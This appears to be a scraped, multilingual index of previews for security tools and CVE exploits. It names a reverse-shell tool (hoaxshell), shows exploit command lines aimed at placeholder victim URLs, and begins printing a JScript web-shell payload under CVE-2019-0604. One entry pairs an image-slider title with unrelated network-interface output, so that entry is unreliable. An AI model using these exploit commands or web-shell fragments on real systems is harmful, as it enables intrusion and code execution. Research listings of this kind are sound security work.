DSpace__DSpace_CVE-2022-31192_5-100

DSpace DSpace 文档 | DSpace 版本发布 | DSpace Wiki | 支持 概述 DSpace 开源软件是一个开箱即用的仓储（Repository）应用程序，全球超过 2,000 个组织和机构使用它来提供对数字资源的持久访问。 更多信息，请访问 http://www.dspace.org/ DSpace 由基于 Java 的后端和基于 Angular 的前端组成。 后端（本代码库）提供 REST API，以及其他基于机器的接口（例如 OAI-PMH、SWORD 等） REST 契约位于 https://github.com/DSpace/RestContract...

CVE-2025-47549

Ultimate Before After Image Slider & Gallery – BEAF 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlf...

CVE-2024-57430

CVE-2024-57430 PHPJabbers Cinema Booking System v2.0 の pjActionGetUser 関数に存在する SQL インジェクションの脆弱性により、攻撃者は column パラメータを介してデータベースクエリを操作できる可能性があります。この欠陥を悪用すると、不正な情報開示、権限昇格、またはデータベース操作につながる可能性があります。 脆弱なパラメータ: column 影響: SQL...

Awesome-Android-Reverse-Engineering

Awesome Android リバースエンジニアリング 厳選された Android リバースエンジニアリングのトレーニング、リソース、ツールのリスト。 使い方 Awesome-Android-Reverse-Engineering は、Android アプリケーション、システム、コンポーネントの分解に携わる人々のための素晴らしいリストです。ctrl + F を押してキーワードを検索するか、目次メニューを参照するか、優れた最新のリソースを示す「☆」を探してください。 目次 トレーニング コースと教材 ビデオ 書籍 ツール 静的解析ツール 動的解析ツール デコンパイラ マルウェア解析 リソ...

salus

Salus: コードの安全性とセキュリティの守護神 🔍 概要 Salus（セキュリティ自動化軽量ユニバーサルスキャナー）は、その名をローマの保護の女神に由来し、セキュリティスキャナーを調整して実行するためのツールです。リポジトリに対してDockerデーモンを介してSalusを実行すると、関連するスキャナーを自動的に判別し、実行して出力を提供します。ほとんどのスキャナーは、コンテナに直接含まれている他の成熟したオープンソースプロジェクトです。...

cyph

Cyph Cyph is a cryptographically secure messaging and social networking service, providing an extreme level of privacy combined with best-in-class ease of use. Cyph’s patented technology — built by former SpaceX engineers, audited by Cure53, and the basis of research presentations at Black Hat an...

hoaxshell

hoaxshell ⚡ The latest version of this project is the HoaxShell standalone listener which comes with refreshed payload templates. Wou can also use it directly from https://revshells.com make sure to choose hoaxshell as the listener. ⚠️ As of 2022-10-18, hoaxshell is detected by AMSI...

hoaxshell

hoaxshell ⚡ इस परियोजना का नवीनतम संस्करण HoaxShell standalone listener है, जो नए पेलोड टेम्पलेट के साथ आता है। आप इसे सीधे https://revshells.com से भी उपयोग कर सकते हैं सुनिश्चित करें कि लिसनर के रूप में hoaxshell चुनें। ⚠️ 2022-10-18 से, hoaxshell AMSI द्वारा पहचाना जाता है malware-encyclopedia।...

semcms

Semcms 简介 SEMCMS 是一个支持多语言的外贸网站内容管理系统（CMS）。 root@kitploit: v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcmsphp4.8.zip 漏洞原因： /xcR45qAdmin/SEMCMSMenu.php 第66行 漏洞代码： root@kitploit: query"SELECT FROM scmenu WHERE ID=" . $GET"ID"; ? 可以看出，这里的 ID 在通过 GET 传递参数时会执行 SQL 语句 过滤代码位于...

dhcpoptinj

DHCP option injector Have you ever wanted to intercept DHCP requests and squeeze in a few extra DHCP options, unbeknownst to the sender? Probably not. However, should the need ever come, dhcpoptinj will hopefully help you. Why There can be many a reason to mangle DHCP requests, although chances a...

primefaces

テーブルからコードへ：レストランPOSにおけるRCE脆弱性の旅 今回、たまたまレストラン向けPOSアプリケーションXETUXに存在する脆弱性に遭遇しました。これはレストランの監視と自動化のためのソリューションです。パナマでは多くのレストランで広く使用されています。 この脆弱性はRCE（リモートコード実行）であり、攻撃者が認証なしでコードを実行し、ターゲット上で特権を取得することを可能にします。 1. 列挙...

CVE-2021-36394

CVE-2021-36394 テーブル更新または管理者パスワード変更: カスタムコード $newpassword = "Accounttakedover123"; 次に実行: $ CVE2021-36394.php http://victim/pathtomoodle 関数の実行 カスタムコード $function = "header"; $param = "Hacked: by0d0ff9"; 次に実行: $ CVE2021-36394RCE.php http://victim/pathtomoodle デモ:...

CVE-2023-22527

CVE-2023-22527 CVE-2023-22527 | 在 Confluence 中使用 SSTI 进行远程代码执行 描述 CVE-2023-22527 指的是 FreeMarker 引擎中的一个服务端模板注入漏洞，允许用户在 Web 服务器上执行命令。 此代码是利用 CVE-2023-22527 的概念验证 PoC 脚本，该漏洞被描述为 Atlassian Confluence 中的服务端模板注入 SSTI 漏洞。 用法 root@kitploit: python3 CVE-2023-22527.py -u http://target.com 有效载荷 root@kitploi...

CVE-2019-17662

CVE-2019-17662 修改了CVE代码 使用了 Prepared Requests，因为 python3 requests 模块会规范化URL中的 ../，例如： 代码如下： root@kitploit: r = requests.get"http://123.123.123.123/../../../../../../test" printstrr.statuscode 结果如下： root@kitploit: GET /test HTTP/1.1 Host: 123.123.123.123 Connection: close Accept-Encoding: gzip,...

CVE-2023-42789

CVE-2023-42789 漏洞检测工具 安装 要使用此漏洞检测工具，请确保已安装 Python3 和 colorama 库。 root@kitploit: pip3 install colorama root@kitploit: python3 check.py IP PORT 描述 CVE-2023-42789 是一个越界写入漏洞，影响 Fortinet FortiOS 版本 7.4.0 至 7.4.1、7.2.0 至 7.2.5、7.0.0 至 7.0.12、6.4.0 至 6.4.14、6.2.0 至 6.2.15，以及 FortiProxy 版本 7.4.0、7.2.0 至...

CVE-2020-9484

CVE-2020-9484 Kali 2.0 を使用して Apache Tomcat Session の逆シリアル化コード実行脆弱性 CVE-2020-9484 を再現 環境： 1. Kali 2.0 2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz（webapp は s2-053 で、その lib ディレクトリに commons-collections4-4.0.jar を追加しました） 起動 /yourtomcatdir/bin/startup.sh ペイロード生成 java -jar...

IDAssist v2.3.0

IDAssist AI-Powered Reverse Engineering Plugin for IDA Pro Author: Jason Tang Description IDAssist is an IDA Pro plugin that integrates LLM-powered analysis directly into IDA's interface, providing AI-assisted binary reverse engineering through configurable LLM providers, semantic knowledge graph...

CVE-2020-17519

CVE-2020-17519 Apache Flink RESTful API Arbitrary File Read Apache Flink is a framework and distributed processing engine for stateful computations over unbounded and bounded data streams which developed using Java and Scala. A change introduced in Apache Flink 1.11.0 and released in 1.11.1 and...

CVE-2019-0604

一、解说k8gege的cve-2019-0604-exp.py k8gege的脚本 https://github.com/k8gege/CVE-2019-0604 老实说k8gege的py脚本有点花哨，一大堆的16进制字符串，分成 payload1,2,3, 好坏呀 python脚本远程post的payload,反序列化之后是一个xml数据体 root@kitploit: cmd /c echo ^%@ Page Language="Jscript" %^^%var pwd="tom";var uastr=Request.UserAgent;if uastr.Substring0,...

Important: Red Hat Security Advisory: osbuild-composer security update

An update for osbuild-composer is now available for Red Hat Enterprise Linux 10.0 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...